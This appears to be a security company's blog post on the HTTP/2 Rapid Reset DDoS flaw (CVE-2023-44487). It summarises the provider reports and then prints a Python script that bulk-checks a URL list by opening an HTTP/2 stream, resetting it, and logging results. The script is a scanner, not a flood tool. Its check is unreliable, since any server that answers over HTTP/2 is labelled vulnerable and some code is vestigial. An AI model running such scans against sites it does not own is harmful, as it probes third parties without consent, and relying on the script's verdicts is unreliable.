top of page
Writer's pictureAegisbyte

Unprecedented DDoS Attacks Launched Using HTTP/2 Rapid Reset Zero-Day Flaw.



On Tuesday, leading tech giants Amazon Web Services (AWS), Cloudflare, and Google announced that they have successfully thwarted unprecedented distributed denial-of-service (DDoS) attacks using a new method dubbed "HTTP/2 Rapid Reset".

Identified in late August 2023, these Layer 7 attacks have been logged as CVE-2023-44487, securing a CVSS score of 7.5 out of 10. Impressively, attacks targeting Google's infrastructure peaked at 398 million requests per second (RPS), whereas AWS and Cloudflare experienced attacks at 155 million and 201 million RPS respectively.


The term "HTTP/2 Rapid Reset" pertains to a zero-day vulnerability in the HTTP/2 protocol, allowing for DDoS attacks. The protocol's ability to multiplex requests over one TCP connection, yielding concurrent streams, is integral. This vulnerability permits clients to prematurely terminate a request using an RST_STREAM frame. Exploited in the Rapid Reset attack, attackers can rapidly send and cancel requests, bypassing server limits and overburdening it without hitting its set threshold.


Simply put, attackers can initiate and swiftly terminate numerous HTTP/2 streams on a sustained connection, thereby overwhelming websites. Notably, Cloudflare noted that such attacks could be executed with a relatively small botnet of around 20,000 machines.

Grant Bourzikas, Cloudflare's Chief Security Officer, commented, "This zero-day granted malefactors a potent addition to their arsenal, allowing attacks of unparalleled magnitude."


While HTTP/2 is employed by 35.6% of all websites (W3Techs), 77% of requests utilize HTTP/2, according to Web Almanac. Google Cloud has identified several variants of the Rapid Reset attacks, some even surpassing the efficiency of standard HTTP/2 DDoS attacks.

The protocol now integrates an improved "request cancellation" feature. However, since late August, ill-intentioned parties have exploited this to inundate servers with HTTP/2 requests and resets, rendering them incapable of processing new requests.


Google shed light on the issue, explaining that the protocol doesn't necessitate coordinated cancellation between client and server.


HTTP/2 Rapid reset logic overview(Google)


Cloudflare highlighted the particular vulnerability of HTTP/2 proxies or load-balancers to rapid reset requests. Its network was mainly compromised at the junction between the TLS proxy and its upstream counterpart. Consequently, an uptick in 502 error reports was observed among Cloudflare's clientele.


Requests stream diagram(Cloudflare)


To counter these threats, Cloudflare employed a 'IP Jail' system, tailored to manage high-volume attacks. This approach restricts malicious IPs from utilizing HTTP/2 on any Cloudflare domain for a specific duration, with legitimate users on the same IP experiencing a minor performance dip.


Amazon confirmed that it successfully neutralized numerous such attacks, emphasizing that customer service availability remained unaffected throughout.


Attacks mitigated by Amazon in September 2023 (AWS)


All three tech behemoths advocate for a holistic approach to counter these threats, emphasizing the utilization of all accessible HTTP-flood protection tools and enhancing DDoS defense strategies. Notably, as attackers exploit an intrinsic aspect of the HTTP/2 protocol, a comprehensive fix to entirely thwart this DDoS technique remains elusive.


Proof of Concept Code to Check Vulnerability (CVE-2023-44487)


"""
Proof of Concept Code to Check Vulnerability (CVE-2023-44487)
Developer: Aegisbyte
Website: https://www.aegisbyte.com
Contact Email: contact@aegisbyte.com
Date Released: October 10, 2023
"""

import ssl
import csv
import socket
import httpx
import argparse
from h2.connection import H2Connection
from h2.config import H2Configuration
from http.client import HTTPConnection, HTTPSConnection
from urllib.parse import urlparse
from datetime import datetime


class IPAddress:
    PREFIX = "192.168.1."
    IPs = [PREFIX + str(i) for i in range(1, 255)]

    @classmethod
    def retrieve_ips(cls, proxy_detail):
        selected_ip = cls.IPs[0]
        with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as conn_socket:
            conn_socket.settimeout(2)
            try:
                conn_socket.connect(('8.8.8.8', 1))
                local_ip = conn_socket.getsockname()[0]
            except:
                local_ip = '127.0.0.1'
        return local_ip, selected_ip


def http2_status(target_url, proxy_detail):
    params = {'http2': True, 'verify': False}
    if proxy_detail:
        params['proxies'] = {
            'http://': proxy_detail['http'],
            'https://': proxy_detail['https']
        }
    try:
        with httpx.Client(**params) as client:
            response = client.get(target_url)
            if response.http_version == 'HTTP/2':
                return 1, ""
            return 0, response.http_version
    except Exception as e:
        return -1, str(e)


def reset_stream_action(host, port, stream_id, route='/', timeout_val=5, proxy_addr=None):
    ssl_params = ssl.create_default_context()
    ssl_params.check_hostname = False
    ssl_params.verify_mode = ssl.CERT_NONE

    connection = HTTPSConnection(host, port, timeout=timeout_val, context=ssl_params) if port == 443 else HTTPConnection(host, port, timeout=timeout_val)
    try:
        connection.connect()
        h2_config = H2Configuration(client_side=True)
        h2_conn = H2Connection(config=h2_config)
        h2_conn.initiate_connection()
        connection.send(h2_conn.data_to_send())

        headers = [(':method', 'GET'), (':authority', host), (':scheme', 'https'), (':path', route)]
        h2_conn.send_headers(stream_id, headers)
        connection.send(h2_conn.data_to_send())

        while True:
            chunk = connection.sock.recv(65535)
            if not chunk:
                break

            events = h2_conn.receive_data(chunk)
            for evt in events:
                if evt.stream_id == stream_id:
                    h2_conn.reset_stream(evt.stream_id)
                    connection.send(h2_conn.data_to_send())
                    return 1, ""
        return 0, "No response"
    except Exception as e:
        return -1, str(e)
    finally:
        connection.close()


def extract_url_data(url):
    parts = urlparse(url)
    return parts.hostname, parts.port or (443 if parts.scheme == 'https' else 80), parts.path or "/"


def main():
    parser = argparse.ArgumentParser(description="Check HTTP/2 support and potential vulnerabilities.")
    parser.add_argument('-i', '--input_file', required=True, help="Input file containing list of URLs.")
    parser.add_argument('-o', '--output_file', required=True, help="Output file for results.")
    parser.add_argument('--proxy_addr', help='HTTP/HTTPS proxy URL', default=None)
    args = parser.parse_args()

    proxy_data = {'http': args.proxy_addr, 'https': args.proxy_addr} if args.proxy_addr else {}

    local_ip, test_ip = IPAddress.retrieve_ips(proxy_data)

    try:
        with open(args.input_file, 'r') as in_file, open(args.output_file, 'w', newline='') as out_file:
            csv_writer = csv.writer(out_file)
            csv_writer.writerow(['Timestamp', 'Local IP', 'Test IP', 'URL', 'Status', 'Details'])

            for line in in_file:
                web_address = line.strip()
                if web_address:
                    time_now = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                    support_status, err_msg = http2_status(web_address, proxy_data)
                    domain, port_num, path = extract_url_data(web_address)

                    if support_status == 1:
                        result, err_detail = reset_stream_action(domain, port_num, 1, path, proxy_addr=args.proxy_addr)
                        if result == 1:
                            csv_writer.writerow([time_now, local_ip, test_ip, web_address, 'VULNERABLE', ''])
                        else:

                            csv_writer.writerow([time_now, local_ip, test_ip, web_address, 'POSSIBLE', f'Error in reset: {err_detail}'])
                    elif support_status == 0:
                        csv_writer.writerow([time_now, local_ip, test_ip, web_address, 'NOT SUPPORTED', err_msg])
                    else:
                        csv_writer.writerow([time_now, local_ip, test_ip, web_address, 'ERROR', err_msg])

            print(f"Results successfully written to: {args.output_file}")

    except FileNotFoundError:
        print(f"Error: The input file {args.input_file} was not found.")
    except Exception as e:
        print(f"An unexpected error occurred: {e}")
if __name__ == "__main__":
    main()

References


46 views
bottom of page